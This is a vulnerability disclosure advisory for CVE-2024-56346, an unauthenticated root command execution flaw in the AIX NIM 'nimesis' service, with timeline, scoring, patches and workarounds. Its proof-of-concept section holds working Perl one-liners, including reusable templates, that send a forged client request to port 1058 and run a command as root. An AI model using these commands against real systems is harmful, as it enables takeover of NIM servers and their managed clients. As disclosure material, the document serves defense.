oneconsult
together against cyberattacks

Vulnerability Disclosure

AIX nimesis Arbitrary Remote Command Execution

CVE-2024-56346

PUBLIC DISCLOSURE DATE	05 May 2025
VERSION	1.3
CLASSIFICATION	Public / TLP:CLEAR

Oneconsult AG
Giesshübelstrasse 45
8045 Zürich
Switzerland

Tel +41 43 377 22 22
www.oneconsult.com
info@oneconsult.com

Table of Contents

FIRST Traffic Light Protocol (https://www.first.org/tlp/) classification

TLP:CLEAR

Note on the use of this document:
This version of this document is intended for public release and can be freely distributed.

Version	Date	Description	Author
1.3	30-Apr-2025	Finalization for release	Jan Alsenz
1.2	29-Apr-2025	Linguistic review	Lena Mohr
1.1	14-Apr-2025	Completion of documentation for release	Jan Alsenz
1.0	05-Dec-2024	Initial version for disclosure	Jan Alsenz

1. General Information

1.1 Introduction

This document discloses an arbitrary remote command execution vulnerability that has been identified in the AIX NIM master service ("nimesis"). It includes a timeline and information about the detected vulnerability.

The vulnerability was identified during a customer penetration test engagement by Oneconsult in December 2024 and has been published in coordination with the customer and IBM.

1.2 Timeline

Date	Description	Name
05-May-2025	Public release	Oneconsult
18-Mar-2025	IBM releases security bulletin and patches	IBM
04-Mar-2025	Public disclosure extension granted and postponed to 5 May 2025 to give AIX users at least 30 days to apply patches	Oneconsult
25-Feb-2025	IBM PSIRT requests extension of public disclosure deadline	IBM PSIRT
06-Dec-2024	IBM PSIRT confirms receipt of report	IBM PSIRT
06-Dec-2024	Disclosure to IBM & CVE request	Oneconsult
05-Dec-2024	Received customer approval to start public disclosure process	Customer
02-Dec-2024 – 04-Dec-2024	Verification and coordination with customer	Jan Alsenz
27-Nov-2024	Observed initial hints of vulnerability in network trace	Jan Alsenz

1.3 Context

The Network Installation Management (NIM) server in an AIX environment serves as a centralized management point for installing, updating, and maintaining AIX systems.

The "nimesis" service, also called NIM master service, in an AIX NIM server is a critical daemon that facilitates communication between the NIM master and its clients (managed AIX instances). Its main purpose is to manage and process requests for NIM operations. It listens on TCP ports 1058 and 1059 by default and accepts requests from administration tools such as "nimclient" and "niminit".

The NIM master also usually has the capability to push commands or changes to the connected clients. Although this can be disabled, it is usually active in corporate managed environments. This also implies that a compromise of the NIM server provides a direct path to arbitrary command execution on all connected client AIX systems by design.

2. Vulnerability Overview

The "nimesis" service accepts TCP connections from arbitrary sources on its master port (1058 by default) to execute commands for client operations. These commands are sent in plaintext and only require knowledge of a valid hostname of a client system connected to the NIM server. A back connection from the NIM server to the requesting system must also be possible, as the stderr output of the commands is passed there.

The commands given are then executed by "nimesis" on the NIM server as the root user and without any checks or restrictions.

This means that with only knowledge of a valid hostname of a connected client (which can easily be determined or guessed), network access to the master port, and network access for back connections from the NIM server to the attacker machine on an arbitrary port, a complete NIM server compromise is possible. This also puts any connected client AIX systems at risk.

Even in environments with firewalls, this is usually possible for any (unprivileged) user who has access to a NIM managed AIX system.

3. Vulnerability Details

3.1 Proof of Concept (PoC)

To verify the command execution on a NIM server, two consoles on an AIX NIM client (or any other system with network access to the NIM server) must be used.

In the first console, the following receiver process is executed:

```
# perl -MIO::Socket::INET -e '$l=IO::Socket::INET->new(LocalPort=>1234,
Proto=>"tcp",Listen=>5,ReuseAddr=>1);$s=$l->accept();$l->close();$d="";$s-
>recv($d,5);$s->close();print $d'
rc=0
```

In the second console, the command is sent:

```
# perl -MIO::Socket::INET -e '$s=IO::Socket::INET-
>new(PeerAddr=>"TestNimServer",PeerPort=>1058,Proto=>"tcp");$s-
>send("1234\x00toor\x00toor\x00dummy\x00TestNimClient\x009\x00No\x001\x00/usr/bin/whoami
\x00");$d="";$s->recv($d,1);$s->recv($d,5);$s->close();print $d;'
root
```

In this PoC, the "whoami" command was executed on the "TestNimServer" NIM server using the client identity "TestNimClient". The highlighted text shows the return value of "root" for the account used to execute the command and "rc=0", which indicates that the return code of the command was zero.

To use these commands for verification in your environment, the following placeholders (highlighted) can be adjusted:

```
# perl -MIO::Socket::INET -e '$l=IO::Socket::INET->new(LocalPort=>{return
port},Proto=>"tcp",Listen=>5,ReuseAddr=>1);$s=$l->accept();$l->close();$d="";$s-
>recv($d,5);$s->close();print $d'
```

```
# perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new(PeerAddr=>"{nim hostname/IP}
",PeerPort=>1058,Proto=>"tcp");$s->send("{return
port}\x00toor\x00toor\x00dummy\x00{client
hostname}\x009\x00No\x001\x00/usr/bin/whoami\x00");$d="";$s->recv($d,1);$s-
>recv($d,5);$s->close();print $d;'
```

In case the sender command returns "error" after some time, and the receiver command does not return, it is likely that the return connection to the client system could not be established.

3.2 Verification Failures and Other Findings

A number of expected or possible verifications are either not implemented or do not work. Most important are the following:

- CPUID of the client is sent, but only has to be present (a single, arbitrary digit is accepted) and is not verified against the provided hostname
- Client hostname provided is not checked against the IP address with DNS lookups

In addition, the entire communication takes place in plaintext and is vulnerable to sniffing and man-in-the-middle attacks. This is actually documented behavior[1].

[1] https://www.ibm.com/support/pages/nimsh-over-ssl

3.3 Known Affected Versions

The vulnerability was verified on a NIM server built on **AIX 7.2 TL5**. Due to the nature of the vulnerability and the available documentation, it seems likely that all previous and current AIX versions from 4.1 to 7.3 are also vulnerable. However, only AIX 7.2 and 7.3 were confirmed by IBM, as these are the currently supported versions.

3.4 IBM Patches & Security Bulletin

IBM has released a security bulletin including patches/updates:

- https://www.ibm.com/support/pages/node/7186621

3.5 Common Vulnerabilities and Exposures (CVE) Reference

CVE standardizes the unique identification and tracking of security vulnerabilities, ensuring consistent communication and effective prioritization.

The CVE entry for the vulnerability described in this document can be found at the following URL:

- https://www.cve.org/CVERecord?id=CVE-2024-56346

3.6 Common Vulnerability Scoring System (CVSS) Score

CVSS standardizes the rating and evaluation of security vulnerabilities, ensuring consistent quantification and effective prioritization.

For the vulnerability described in this document, the following CVSS 4.0 rating and vector were determined:

- For a NIM server as a management system with connected clients and nimsh push enabled:
  10 / Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
- For a NIM server as a standalone system:
  9.3 / Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

The IBM security bulletin used the following CVSS 3.1 rating and vector:

- **10 / Critical** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

3.7 Known Workarounds

There are no known workarounds to prevent arbitrary remote command execution on a NIM server.

To reduce the attack surface, network access to the "nimesis" listening ports should be restricted. However, to maintain the NIM management functions, the affected port must be reachable at least from the connected NIM clients.

For AIX systems where security is very critical, disabling "nimsh" push should be considered to at least prevent direct arbitrary remote command execution on these systems in case of a NIM server compromise. However, it should be noted that this increases the maintenance effort and that there are other possibilities to move laterally from a NIM server to a connected client. Examples range from manipulated packages to SSH private keys, which may be stored on a NIM server, to access the clients.